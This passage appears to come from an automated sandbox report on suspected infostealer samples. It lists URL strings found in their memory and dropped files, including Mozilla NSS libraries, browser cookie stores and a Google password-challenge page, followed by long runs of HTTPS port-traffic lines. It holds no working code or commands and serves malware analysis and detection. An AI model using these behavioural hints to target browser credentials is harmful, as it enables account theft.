Source: file.exe, 00000000.00000003.1606586962.0000000023F2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2346528454.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345943732.0000000005307000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, AKFHDBFI.0.dr, GIJECGDG.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1606586962.0000000023F2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2346528454.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345943732.0000000005307000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, AKFHDBFI.0.dr, GIJECGDG.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1606586962.0000000023F2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2346528454.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345943732.0000000005307000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, AKFHDBFI.0.dr, GIJECGDG.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: chromecache_477.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_477.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_477.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_477.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: bef6a59ce6.exe, 0000001B.00000003.2358890568.00000000052B4000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2355983561.00000000052D5000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2356358121.00000000052B1000.00000004.00000800.00020000.00000000.sdmp, Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: bef6a59ce6.exe, 0000001B.00000003.2358890568.00000000052B4000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2355983561.00000000052D5000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2356358121.00000000052B1000.00000004.00000800.00020000.00000000.sdmp, Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log10.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log10.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: 000003.log10.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log10.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376356592398475.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_477.6.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_479.6.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_479.6.dr	String found in binary or memory: https://plus.googleapis.com
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: bef6a59ce6.exe, 0000001B.00000003.2388070914.00000000053D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: chromecache_479.6.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.1859292853.0000000023F86000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, GIJECGDG.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1606586962.0000000023F2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2346528454.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345943732.0000000005307000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, AKFHDBFI.0.dr, GIJECGDG.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_479.6.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_479.6.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_477.6.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_477.6.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_477.6.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: file.exe, 00000000.00000002.1859292853.0000000023F86000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1824673224.0000000000D74000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000002.1824673224.0000000000D74000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1824673224.0000000000E57000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1824673224.0000000000D74000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000002.1824673224.0000000000E57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: file.exe, 00000000.00000002.1824673224.0000000000D74000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1730076671.000000002409E000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2388070914.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1824673224.0000000000D74000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1730076671.000000002409E000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2388070914.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1824673224.0000000000D74000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 3afa1b1567.exe, 0000001F.00000002.2583966248.0000000001118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 60850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 60930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 60896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 60976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 55108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 60849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 60803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 61052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 60907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 60827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60790
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60799
Source: unknown	Network traffic detected: HTTP traffic on port 61017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60798
Source: unknown	Network traffic detected: HTTP traffic on port 60884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 60905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 55118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60972
Source: unknown	Network traffic detected: HTTP traffic on port 61019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60971
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60979
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60976
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 61007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 60839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60980
Source: unknown	Network traffic detected: HTTP traffic on port 60940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 60978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 60852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60990
Source: unknown	Network traffic detected: HTTP traffic on port 60917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60995
Source: unknown	Network traffic detected: HTTP traffic on port 61030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 60801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 60792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 60962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61006
Source: unknown	Network traffic detected: HTTP traffic on port 61020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61009
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61004
Source: unknown	Network traffic detected: HTTP traffic on port 60869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 61032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 60847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 60805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 60870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61017
Source: unknown	Network traffic detected: HTTP traffic on port 61068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61019
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61016
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61022 -> 443
